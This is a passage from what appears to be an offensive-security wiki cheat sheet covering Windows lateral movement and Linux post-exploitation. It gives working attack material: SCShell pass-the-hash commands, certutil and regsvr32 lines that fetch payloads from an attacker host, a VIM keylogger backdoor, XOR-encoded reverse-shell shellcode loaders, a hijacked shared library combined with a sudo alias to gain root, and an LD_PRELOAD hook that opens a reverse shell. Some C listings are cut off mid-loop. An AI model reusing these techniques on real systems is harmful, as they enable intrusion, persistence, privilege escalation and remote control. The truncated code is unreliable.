# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.&lt;br /&gt;
# Copy payload to target&lt;br /&gt;
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe&lt;br /&gt;
# Now trigger it with fileless lateral movement&lt;br /&gt;
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”&lt;br /&gt;
# You can also try to trigger the payload with psexec&lt;br /&gt;
.\psexec \\dc02 -d &amp;quot;C:\windows\tasks\proc_hol.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ScShell ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have obtained a hash for a user that can authenticate against target, run the command&lt;br /&gt;
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e&lt;br /&gt;
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation&lt;br /&gt;
[*] Command need to use FULL path. No command output.&lt;br /&gt;
SCShell&amp;gt;C:\windows\system32\cmd.exe /c certutil -urlcache -split -f &amp;quot;http://192.168.45.162/bin.exe&amp;quot; C:\windows\tasks\bin.exe&lt;br /&gt;
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.&lt;br /&gt;
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with&lt;br /&gt;
SVShell&amp;gt;C:\windows\tasks\bin.exe&lt;br /&gt;
# Usage for .exe&lt;br /&gt;
SCShell.exe target service payload domain username password&lt;br /&gt;
# Example remote code exec&lt;br /&gt;
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.&lt;br /&gt;
SCShell.exe 192.168.197.131 XblAuthManager &amp;quot;C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll&amp;quot; . administrastor Password&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Linux Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Stealthy VIM Backdoors&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Directly modifying &amp;lt;code&amp;gt; ​.vimrc&amp;lt;/code&amp;gt;​  is not stealthy.&lt;br /&gt;
&lt;br /&gt;
* To source a shell script:  ​&amp;lt;code&amp;gt;!source /path/to/script&amp;lt;/code&amp;gt;​ &lt;br /&gt;
&lt;br /&gt;
* To import another VIM config:  &amp;lt;code&amp;gt;​:source /path/to/vim-config​ &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stealthier approach: Use the  &amp;lt;code&amp;gt;​~/.vim/plugin​ &amp;lt;/code&amp;gt; directory. VIM auto-loads all &amp;lt;code&amp;gt; ​.vim​ &amp;lt;/code&amp;gt; files from this directory.&lt;br /&gt;
&lt;br /&gt;
=== VIM Backdoor keylogger ===&lt;br /&gt;
&lt;br /&gt;
Leveraging VIM&#039;s  ​&amp;lt;code&amp;gt;.vimrc&amp;lt;/code&amp;gt;​  configuration files, it&#039;s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.&lt;br /&gt;
&lt;br /&gt;
Insert this at the end of &amp;lt;code&amp;gt;vimrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:if $USER == &amp;quot;root&amp;quot;&lt;br /&gt;
:autocmd BufWritePost * :silent :w! &amp;gt;&amp;gt; /tmp/hackedfromvim.txt&lt;br /&gt;
:endif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  ​BufWritePost​ : Trigger event after a buffer is written.&lt;br /&gt;
&lt;br /&gt;
*  ​*​ : Action applies to all edited files.&lt;br /&gt;
&lt;br /&gt;
*  ​:silent​ : Suppress debug output.&lt;br /&gt;
&lt;br /&gt;
*  ​:w!​ : Forcefully save the buffer contents.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;gt;&amp;gt; /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.&lt;br /&gt;
&lt;br /&gt;
=== Linux Shellcode Loader ===&lt;br /&gt;
&lt;br /&gt;
==== Simple Shellcode Loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
// XOR-encoded &#039;linux/x64/shell_reverse_tcp&#039; payload (key: 0xfa)&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA&amp;quot;;&lt;br /&gt;
int main (int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
        int key = 250;&lt;br /&gt;
        int buf_len = (int) sizeof(buf);&lt;br /&gt;
        // Decode the payload&lt;br /&gt;
        for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
==== Compile the shellcode loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple XOR Shellcode Encryption Cheatsheet ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Simple XOR Encrypt Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x6a\x39\x58\x0f\x05...&amp;quot;;  // Original Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                          // XOR Key&lt;br /&gt;
    int payload_length = (int) sizeof(buf);      // Length of Shellcode&lt;br /&gt;
    // XOR Encrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack&lt;br /&gt;
kali@kali:~$ ./encoder.out&lt;br /&gt;
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4&lt;br /&gt;
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Execute XOR Decrypted Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x20\x73\x12\x45...&amp;quot;;  // XOR Encrypted Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                       // XOR Key&lt;br /&gt;
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode&lt;br /&gt;
    // XOR Decrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Points&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* The shellcode is encrypted using XOR operation against a key (e.g., &#039;J&#039;).&lt;br /&gt;
&lt;br /&gt;
* The encrypted shellcode must be decrypted using the same XOR key before execution.&lt;br /&gt;
&lt;br /&gt;
* After decryption, the shellcode is cast to a function pointer and executed.&lt;br /&gt;
&lt;br /&gt;
=== Shared Libraries ===&lt;br /&gt;
&lt;br /&gt;
Linux uses a different program format than Windows. While Linux utilizes &#039;&#039;&#039;Executable and Linkable Format (ELF)&#039;&#039;&#039;, Windows uses the &#039;&#039;&#039;Portable Executable (PE)&#039;&#039;&#039; format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ELF Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PE Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]&lt;br /&gt;
&lt;br /&gt;
Despite their differences, both systems share code with other applications. Windows employs &#039;&#039;&#039;Dynamic-Link Library (DLL)&#039;&#039;&#039; files, whereas Linux uses &#039;&#039;&#039;Shared Libraries&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When a Linux application requires a library, it searches for it in the following order:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RPATH&#039;&#039;&#039;: Directories within the application&#039;s RPATH value.&lt;br /&gt;
[https://en.wikipedia.org/wiki/Rpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;LD_LIBRARY_PATH&#039;&#039;&#039;: Directories specified in this environment variable.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RUNPATH&#039;&#039;&#039;: Directories in the application’s RUNPATH value.&lt;br /&gt;
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;/etc/ld.so.conf&#039;&#039;&#039;: Directories mentioned here.&lt;br /&gt;
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System Library Directories&#039;&#039;&#039;: &amp;lt;code&amp;gt; ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64&amp;lt;/code&amp;gt;​ , and more.&lt;br /&gt;
&lt;br /&gt;
Because of this predefined search sequence, it&#039;s possible to place or hijack shared libraries to control an application&#039;s behavior.&lt;br /&gt;
&lt;br /&gt;
==== Hijacking Shared Library via LD_LIBRARY_PATH ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Writing the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload file:&lt;br /&gt;
&lt;br /&gt;
 ​/home/offsec/ldlib/hax.c​ &lt;br /&gt;
&lt;br /&gt;
* Include headers:&lt;br /&gt;
&lt;br /&gt;
* Define the constructor function:&lt;br /&gt;
&lt;br /&gt;
* Function payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include  // for setuid/setgid&lt;br /&gt;
// This function will be executed automatically when the shared library is loaded.&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
void runmahpayload() {&lt;br /&gt;
    // Elevate privileges to root user.&lt;br /&gt;
    setuid(0); // Set the effective user ID to root.&lt;br /&gt;
    setgid(0); // Set the effective group ID to root.&lt;br /&gt;
    // Print a message to indicate the DLL hijacking is in progress.&lt;br /&gt;
    printf(&amp;quot;DLL HIJACKING IN PROGRESS \n&amp;quot;);&lt;br /&gt;
    // Execute the system command to create a file in /tmp called &amp;quot;haxso.txt.&amp;quot;&lt;br /&gt;
    // This can be used as an indicator that the malicious code was executed.&lt;br /&gt;
    system(&amp;quot;touch /tmp/haxso.txt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Compiling the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Compile shared library object file:&lt;br /&gt;
&lt;br /&gt;
* Compile the finished shared library file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -o libhax.so hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Identifying the Target Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Determine libraries used by a binary, e.g.,  ​top​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldd /usr/bin/top&lt;br /&gt;
linux-vdso.so.1 (0x00007ffd135c5000)&lt;br /&gt;
libprocps.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)&lt;br /&gt;
libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)&lt;br /&gt;
libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)&lt;br /&gt;
libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)&lt;br /&gt;
libsystemd.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)&lt;br /&gt;
librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)&lt;br /&gt;
liblzma.so.5 =&amp;gt; /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)&lt;br /&gt;
liblz4.so.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)&lt;br /&gt;
libgcrypt.so.20 =&amp;gt; /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)&lt;br /&gt;
libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)&lt;br /&gt;
libgpg-error.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Preparing for Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Set the environment variable:&lt;br /&gt;
&lt;br /&gt;
* Copy the malicious library to hijack a target:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
cp libhax.so libgpg-error.so.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Identifying Missing Symbols:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract symbols associated with the hijacked library:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print &amp;quot;int&amp;quot;,$8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Add the resulting symbols to your source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
int gpgrt_onclose;&lt;br /&gt;
int _gpgrt_putc_overflow;&lt;br /&gt;
int gpgrt_feof_unlocked;&lt;br /&gt;
int gpgrt_vbsprintf;&lt;br /&gt;
int gpgrt_ungetc;&lt;br /&gt;
---REST OF THE CODE---&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We encountered an error stating we&#039;re missing the symbol &amp;quot;gpgrt_lock_lock&amp;quot; with version GPG_ERROR_1.0. Before our library&#039;s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn&#039;t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn&#039;t checking their functionality, just their presence. We can also use the &amp;quot;readelf&amp;quot; tool with the &amp;quot;-s&amp;quot; option to check what components the original library contains.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Overcoming Version Errors:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract just symbol names:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print $8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create a symbol map file, e.g.,  ​gpg.map​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GPG_ERROR_1.0 {    &lt;br /&gt;
gpgrt_onclose;    &lt;br /&gt;
_gpgrt_putc_overflow;    &lt;br /&gt;
...&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Recompile using the symbol map:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Export environment varialbe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Run the application&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
top&lt;br /&gt;
DLL HIJACKING IN PROGRESS&lt;br /&gt;
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for the file our library was supposed to modify in /tmp.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Privilege Escalation &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Add the alias to the .bashrc:&lt;br /&gt;
&lt;br /&gt;
* Source the .bashrc to load the changes:&lt;br /&gt;
&lt;br /&gt;
* Now, run the top utility with sudo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_LIBRARY_PATH=/home/offsec/ldlib&amp;quot;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
sudo top  &lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD Exploitation ===&lt;br /&gt;
&lt;br /&gt;
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.&lt;br /&gt;
&lt;br /&gt;
==== Reverse shell ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Identifying Potential Applications&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Target applications that the victim frequently uses (e.g.,  ​cp  utility).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Tracing Library Calls&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ ltrace cp&lt;br /&gt;
strrchr(&amp;quot;cp&amp;quot;, &#039;/&#039;) = nil&lt;br /&gt;
...&lt;br /&gt;
geteuid() = 1000&lt;br /&gt;
getenv(&amp;quot;POSIXLY_CORRECT&amp;quot;) = nil&lt;br /&gt;
...&lt;br /&gt;
fflush(0x7f717f0c0680) = 0&lt;br /&gt;
fclose(0x7f717f0c0680) = 0&lt;br /&gt;
+++ exited (status 1) +++&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Creating a Malicious Shared Library&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;: Redefine the  ​geteuid​  function.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Code Sample&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c&lt;br /&gt;
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl&lt;br /&gt;
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58&amp;quot;&lt;br /&gt;
&amp;quot;\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05&amp;quot;;&lt;br /&gt;
uid_t geteuid(void)&lt;br /&gt;
{&lt;br /&gt;
        // Get the address of the original &#039;geteuid&#039; function&lt;br /&gt;
        typeof(geteuid) *old_geteuid;&lt;br /&gt;
        old_geteuid = dlsym(RTLD_NEXT, &amp;quot;geteuid&amp;quot;);&lt;br /&gt;
        // Fork a new thread based on the current one&lt;br /&gt;
        if (fork() == 0)&lt;br /&gt;
        {&lt;br /&gt;
                // Execute shellcode in the new thread&lt;br /&gt;
                intptr_t pagesize = sysconf(_SC_PAGESIZE);&lt;br /&gt;
                // Make memory executable (required in libs)&lt;br /&gt;
                if (mprotect((void *)(((intptr_t)buf) &amp;amp; ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {&lt;br /&gt;
                        // Handle error&lt;br /&gt;
                        perror(&amp;quot;mprotect&amp;quot;);&lt;br /&gt;
                        return -1;&lt;br /&gt;
                }&lt;br /&gt;
                // Cast and execute&lt;br /&gt;
                int (*ret)() = (int(*)())buf;&lt;br /&gt;
                ret();&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
                // Original thread, call the original function&lt;br /&gt;
                printf(&amp;quot;[Hijacked] Returning from function...\n&amp;quot;);&lt;br /&gt;
                return (*old_geteuid)();&lt;br /&gt;
        }&lt;br /&gt;
        // This shouldn&#039;t really execute&lt;br /&gt;
        printf(&amp;quot;[Hijacked] Returning from main...\n&amp;quot;);&lt;br /&gt;
        return -2;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c&lt;br /&gt;
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Triggering the Payload&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setup&#039;&#039;&#039;: Prepare a listener for the payload&#039;s callback.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execution without Preload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD and Execution&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Clear LD_PRELOAD&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unset LD_PRELOAD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.&lt;br /&gt;
&lt;br /&gt;
